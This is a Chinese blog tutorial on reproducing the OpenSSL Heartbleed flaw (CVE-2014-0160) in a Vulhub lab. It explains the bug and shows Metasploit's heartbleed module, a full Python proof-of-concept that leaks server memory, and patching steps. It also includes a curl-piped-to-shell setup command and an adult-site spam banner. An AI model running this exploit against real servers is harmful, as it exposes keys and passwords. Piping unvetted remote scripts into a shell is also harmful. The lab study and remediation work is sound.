日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

渗透测试-Openssl心脏出血漏洞复现

發(fā)布時(shí)間:2023/12/14 编程问答 45 豆豆
生活随笔 收集整理的這篇文章主要介紹了 渗透测试-Openssl心脏出血漏洞复现 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

心臟滴血

早在2014年,互聯(lián)網(wǎng)安全協(xié)議OpenSSL被曝存在一個(gè)十分嚴(yán)重的安全漏洞。在黑客社區(qū),它被命名為“心臟出血”,表明網(wǎng)絡(luò)上出現(xiàn)了“致命內(nèi)傷”。利用該漏洞,黑客可以獲取約30%的https開頭網(wǎng)址的用戶登錄賬號密碼,其中包括購物、網(wǎng)銀、社交、門戶等類型的知名網(wǎng)站。

漏洞簡介

OpenSSL“心臟出血”漏洞(CVE-2014-0160)是一個(gè)非常嚴(yán)重的問題。這個(gè)漏洞使攻擊者能夠從內(nèi)存中讀取多達(dá)64 KB的數(shù)據(jù)。也就是說,只要有這個(gè)漏洞的存在,在無需任何特權(quán)信息或身份驗(yàn)證的環(huán)境下,我們就可以從我們自己的(測試機(jī)上)偷來 X.509證書的私鑰、用戶名與密碼、聊天工具的消息、電子郵件以及重要的商業(yè)文檔和通信等數(shù)據(jù)。

最初人們?yōu)榱司W(wǎng)絡(luò)通信安全,就開始使用安全協(xié)議進(jìn)行加密通信,SSL(Secure Socket Layer)就是一種安全協(xié)議。隨著開源軟件的流行,有人寫了一款叫 OpenSSL 的開源程序供大家方便地對通信進(jìn)行SSL加密,后來這款軟件便在互聯(lián)網(wǎng)中被廣泛應(yīng)用。

OpenSSL 有一個(gè)叫 Heartbeat (心跳檢測)的拓展,問題就出在這個(gè)拓展上,這也是漏洞被命名為“心臟出血”的直接原因。所謂心跳檢測,就是建立一個(gè) Client Hello 問詢來檢測對方服務(wù)器是不是正常在線 ,服務(wù)器發(fā)回 Server hello,表明正常樹立SSL通訊。就像我們打電話時(shí)會問對方 “喂聽得到嗎?”一樣。

每次問詢都會附加一個(gè)問詢的字符長度 pad length。bug 來了,如果這個(gè) pad length 大于實(shí)際的長度,服務(wù)器仍會回來相同規(guī)模的字符信息,于是形成了內(nèi)存里信息的越界訪問。就這樣,每發(fā)起一個(gè)心跳,服務(wù)器就能泄露一點(diǎn)點(diǎn)數(shù)據(jù)(理論上最多泄露 64K),這些數(shù)據(jù)里可能包括用戶的登錄賬號密碼、電子郵件甚至是加密秘鑰等信息,也可能并沒有包含這些信息,但攻擊者可以不斷利用 “心跳”來獲取更多的信息。就這樣,服務(wù)器一點(diǎn)一點(diǎn)泄露越來越多的信息,就像是心臟慢慢在出血,心臟出血漏洞的名字由此而來。

由于互聯(lián)網(wǎng)應(yīng)用最廣泛的安全傳輸方法就是 SSL,而 Open SSL 又是多數(shù) SSL 加密網(wǎng)站使用的開源軟件包,所以漏洞影響范圍廣大,一時(shí)間席卷全球各個(gè)互聯(lián)網(wǎng)相關(guān)領(lǐng)域,網(wǎng)銀、在線支付、電商網(wǎng)站、門戶網(wǎng)站、電子郵件等無一幸免。

漏洞分析

OpenSSL“心臟出血”漏洞的問題出現(xiàn)在openSSL處理TLS心跳的過程中,TLS心跳的流程是:A向B發(fā)送請求包,B收到包后讀取這個(gè)包的內(nèi)容(data),并返回一個(gè)包含有請求包內(nèi)容的響應(yīng)包。請求包的內(nèi)容(data)中包含有包的類型(type)和數(shù)據(jù)長度等信息。

當(dāng)B收到A的請求包后,并沒有的驗(yàn)證A包的實(shí)際長度,而是簡單的把請求包data中說明的長度當(dāng)作data的實(shí)際長度,于是當(dāng)請求包中說明的長度與請求包數(shù)據(jù)實(shí)際長度不同時(shí),問題就產(chǎn)生了。假設(shè)A構(gòu)造一個(gè)請求包,它的實(shí)際內(nèi)容長度只有1,而卻告訴B的它的長度是65535,那么B接受到這個(gè)包后就會把A的內(nèi)容完全當(dāng)作65535來處理,其實(shí)到這里,問題還并不嚴(yán)重,最嚴(yán)重的問題出在,心跳的響應(yīng)包還需要附帶請求包的全部內(nèi)容這就需要程序做一次將請求包的數(shù)據(jù)從它所在的內(nèi)存拷貝到響應(yīng)包的內(nèi)存里的操作。

這下就出大問題了,當(dāng)拷貝的時(shí)候,程序認(rèn)為A包的內(nèi)容長度是65535個(gè)字節(jié),結(jié)果A包在內(nèi)存里面實(shí)際只有1個(gè)字節(jié),于是程序不僅拷貝出了A包的內(nèi)容,還“傻傻”地將A包數(shù)據(jù)在內(nèi)存中位置后額外的65534個(gè)字節(jié)拷貝進(jìn)了響應(yīng)包里,并將這個(gè)響應(yīng)包發(fā)還給了A,于是A便輕易地獲得了B內(nèi)存中這65534個(gè)字節(jié)的數(shù)據(jù)。想象一下,如果這65534個(gè)字節(jié)數(shù)據(jù)中包括一些敏感信息,那么后果將非常嚴(yán)重。而且A還可以簡單地通過連續(xù)的發(fā)送心跳包,獲取B機(jī)器內(nèi)存中n個(gè)65534字節(jié)的數(shù)據(jù),這個(gè)漏洞不愧是2014年“最佳漏洞”。

現(xiàn)實(shí)是殘酷的,據(jù)說的確已經(jīng)有很多用戶的敏感信息通過這種方式泄漏了。作為一個(gè)應(yīng)用如此廣泛和重要的開源庫,出現(xiàn)這種低級的問題實(shí)在是讓人不能理解,不禁又讓人聯(lián)想起了------陰謀!

Vulhub

下文我將基于Vulhub中搭建靶場環(huán)境,故先介紹下Vulhub。Vulhub 是一個(gè)基于 docker 和 docker-compose 的漏洞環(huán)境集合,進(jìn)入對應(yīng)目錄并執(zhí)行一條語句即可啟動一個(gè)全新的漏洞環(huán)境,讓漏洞復(fù)現(xiàn)變得更加簡單,讓安全研究者更加專注于漏洞原理本身。關(guān)于Docker技術(shù),可通過另一篇博文進(jìn)行學(xué)習(xí):滲透測試-Docker容器。

Vulhub 的特點(diǎn)

  • 完全開源,幾乎不使用非官方的二進(jìn)制文件、鏡像;
  • 百分之95以上的環(huán)境是從 docker 基礎(chǔ)鏡像編譯而來,你可以看到每一個(gè)環(huán)境是怎樣建造的;
  • 所有漏洞靶場均包含漏洞原理、參考鏈接、復(fù)現(xiàn)過程,真正做到完整地了解每一個(gè)漏洞;
  • 使用 docker-compose 編排容器,更貼近生產(chǎn)環(huán)境實(shí)際情況;
  • 由一線安全從業(yè)者長期維護(hù),能做到在漏洞爆發(fā)的短期內(nèi)獲得靶場。
  • 對于漏洞學(xué)習(xí)者、安全工作者來說,Vulhub 都是一個(gè)非常有力的輔助工具,安全從業(yè)者可以在漏洞爆發(fā)的第一時(shí)間,搭建環(huán)境并復(fù)現(xiàn)漏洞,熟悉近些年熱門的安全漏洞原理,更好地維護(hù)企業(yè)安全,在安全內(nèi)、外部培訓(xùn)中作為案例來學(xué)習(xí)與使用。

    Vulhub 的安裝與使用

    關(guān)于 Vulhub 的介紹、安裝與漏洞利用教程,官方給出了教程:Vulub官方教程,漏洞復(fù)現(xiàn)教程如圖:
    下面我使用 Ubuntu 虛擬機(jī)安裝 Docker 環(huán)境和搭建 Vulhub 靶場:

    1、安裝docker:apt-get install -y docker.io 2、安裝docker-compose:pip install docker-compose 3、配置 docker 加速器(提高容器下載速度):curl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sh -s http://f1361db2.m.daocloud.io 3、下載vulhub漏洞目錄:git clone https://github.com/vulhub/vulhub.git 4、進(jìn)入想要復(fù)現(xiàn)的漏洞對應(yīng)文件夾:cd ~/vulhub/struts2/s2-048/ 5、以root身份執(zhí)行以下命令開始運(yùn)行漏洞容器:docker-compose up -d

    下面簡單實(shí)操演示一下 Vulhub 靶場環(huán)境的使用:

    1、下載完 Vulhub 在本地可看到以下目錄:
    2、進(jìn)入 struts2 文件夾,里頭包含了中、英文版本的漏洞利用教程說明文檔、截圖(與官網(wǎng)一致),以及用于自動構(gòu)造對應(yīng)漏洞鏡像的 docker-compose.yml 配置文件:

    3、在對應(yīng)漏洞的目錄下打開終端,以 root 身份運(yùn)行以下命令開始運(yùn)行漏洞容器:

    4、成功 pull 鏡像并運(yùn)行容器后,可按照復(fù)現(xiàn)教程訪問靶場地址并開始實(shí)驗(yàn):

    5、以上漏洞環(huán)境就這樣一鍵搭建成功,節(jié)省了一大把時(shí)間,可更專注于漏洞研究,漏洞環(huán)境使用完成記得使用以下命令進(jìn)行關(guān)閉哦:

    漏洞復(fù)現(xiàn)

    下面基于 Vulhub 靶場環(huán)境復(fù)現(xiàn)OpenSSL“心臟滴血”漏洞,實(shí)驗(yàn)環(huán)境如下:

    主機(jī)IP用途
    Ubuntu 虛擬機(jī)172.31.1.135基于 Vulhub 搭建OpenSSL“心臟滴血”漏洞環(huán)境
    Kali Linux 虛擬機(jī)172.31.3.198使用 MSF 框架對存在漏洞的靶機(jī)進(jìn)行攻擊

    靶場搭建

    上面已經(jīng)介紹了,基于 Vulhub 搭建OpenSSL“心臟滴血”漏洞環(huán)境,很簡單:

    1、進(jìn)入U(xiǎn)buntu虛擬機(jī)對應(yīng)的漏洞文件夾路徑下,執(zhí)行以下命令即可:
    2、等待下載漏洞鏡像環(huán)境并啟動容器結(jié)束:

    漏洞檢測

    以上靶場環(huán)境啟動成功后,使用局域網(wǎng)內(nèi)的 Kali 攻擊機(jī)運(yùn)行 nmap 漏洞掃描腳本對靶機(jī)進(jìn)行漏洞檢測:

    MSF攻擊

    Vulnhub官方給出了復(fù)現(xiàn)教程:基于Python腳本的POC。但此處演示下使用 Kali 的 MSF 框架進(jìn)行攻擊:

    1、執(zhí)行命令 msfconsole 運(yùn)行 MSF 框架:

    2、使用search heartbleed查找攻擊模塊:
    3、執(zhí)行命令use auxiliary/scanner/ssl/openssl_heartbleed選擇第一個(gè)攻擊模塊,然后使用show options查看需要設(shè)置的參數(shù):
    4、設(shè)置對應(yīng)的主機(jī)、端口參數(shù):

    5、最后運(yùn)行run命令,可以看到 靶機(jī)的64KB信息(如果有人此時(shí)在登錄web應(yīng)用,還可以直接抓到賬號密碼等信息):
    部分信息如下:
    至此,利用 Kali 的 MSF 框架對 OpenSSL“心臟滴血”漏洞 的靶機(jī)攻擊成功結(jié)束。

    官方復(fù)現(xiàn)

    最后,來看看Vulnhub官方給出的復(fù)現(xiàn)教程:

    那就直接在靶機(jī)上運(yùn)行 Python 腳本發(fā)送 POC 試試:
    腳本代碼如下(代碼分析可參考:心臟滴血HeartBleed漏洞研究及其POC):

    #!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParseroptions = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')def h2bin(x):return x.replace(' ', '').replace('\n', '').decode('hex')hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''')hb = h2bin(''' 18 03 02 00 03 01 40 00 ''')def hexdump(s):for b in xrange(0, len(s), 16):lin = [c for c in s[b : b + 16]]hxdat = ' '.join('%02X' % ord(c) for c in lin)pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)print ' %04x: %-48s %s' % (b, hxdat, pdat)printdef recvall(s, length, timeout=5):endtime = time.time() + timeoutrdata = ''remain = lengthwhile remain > 0:rtime = endtime - time.time() if rtime < 0:return Noner, w, e = select.select([s], [], [], 5)if s in r:data = s.recv(remain)# EOF?if not data:return Nonerdata += dataremain -= len(data)return rdatadef recvmsg(s):hdr = recvall(s, 5)if hdr is None:print 'Unexpected EOF receiving record header - server closed connection'return None, None, Nonetyp, ver, ln = struct.unpack('>BHH', hdr)pay = recvall(s, ln, 10)if pay is None:print 'Unexpected EOF receiving record payload - server closed connection'return None, None, Noneprint ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))return typ, ver, paydef hit_hb(s):s.send(hb)while True:typ, ver, pay = recvmsg(s)if typ is None:print 'No heartbeat response received, server likely not vulnerable'return Falseif typ == 24:print 'Received heartbeat response:'hexdump(pay)if len(pay) > 3:print 'WARNING: server returned more data than it should - server is vulnerable!'else:print 'Server processed malformed heartbeat, but did not return any extra data.'return Trueif typ == 21:print 'Received alert:'hexdump(pay)print 'Server returned error, likely not vulnerable'return Falsedef main():opts, args = options.parse_args()if len(args) < 1:options.print_help()returns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print 'Connecting...'sys.stdout.flush()s.connect((args[0], opts.port))print 'Sending Client Hello...'sys.stdout.flush()s.send(hello)print 'Waiting for Server Hello...'sys.stdout.flush()while True:typ, ver, pay = recvmsg(s)if typ == None:print 'Server closed connection without sending Server Hello.'return# Look for server hello done message.if typ == 22 and ord(pay[0]) == 0x0E:breakprint 'Sending heartbeat request...'sys.stdout.flush()s.send(hb)hit_hb(s)if __name__ == '__main__':main()

    實(shí)驗(yàn)完畢,關(guān)閉實(shí)驗(yàn)容器環(huán)境(也可進(jìn)一步繼續(xù)刪除本地漏洞鏡像來節(jié)省空間):

    修復(fù)方案

    OpenSSL“心臟出血”漏洞(CVE-2014-0160)受影響的OpenSSL版本:

    • OpenSSL 1.0.2-beta
    • OpenSSL 1.0.1 - OpenSSL 1.0.1f

    要解決此漏洞,簡單粗暴的方法就是升級openssl軟件。建議服務(wù)器管理員或使用1.0.1g版,或使用-DOPENSSL_NO_HEARTBEATS選項(xiàng)重新編譯OpenSSL,從而禁用易受攻擊的功能,直至可以更新服務(wù)器軟件。

    Centos 主機(jī)修復(fù)方法參考:

    1、使用如下的命令查看服務(wù)器上的當(dāng)前版本: [root@master ~]# openssl version OpenSSL 1.0.1e-fips 11 Feb 20132、升級opensll包: [root@localhost ~]# yum update openssl3、或者卸載后使用yum方法安裝: yum search openssl yum install openssl /etc/init.d/nginx restart #然后重啟nginx

    最后,附上OpenSSL“心臟出血”漏洞(CVE-2014-0160)的在線檢測網(wǎng)站:heartbleed test,輸入待測站點(diǎn)的網(wǎng)站和端口即可進(jìn)行檢測:

    總結(jié)

    以上是生活随笔為你收集整理的渗透测试-Openssl心脏出血漏洞复现的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。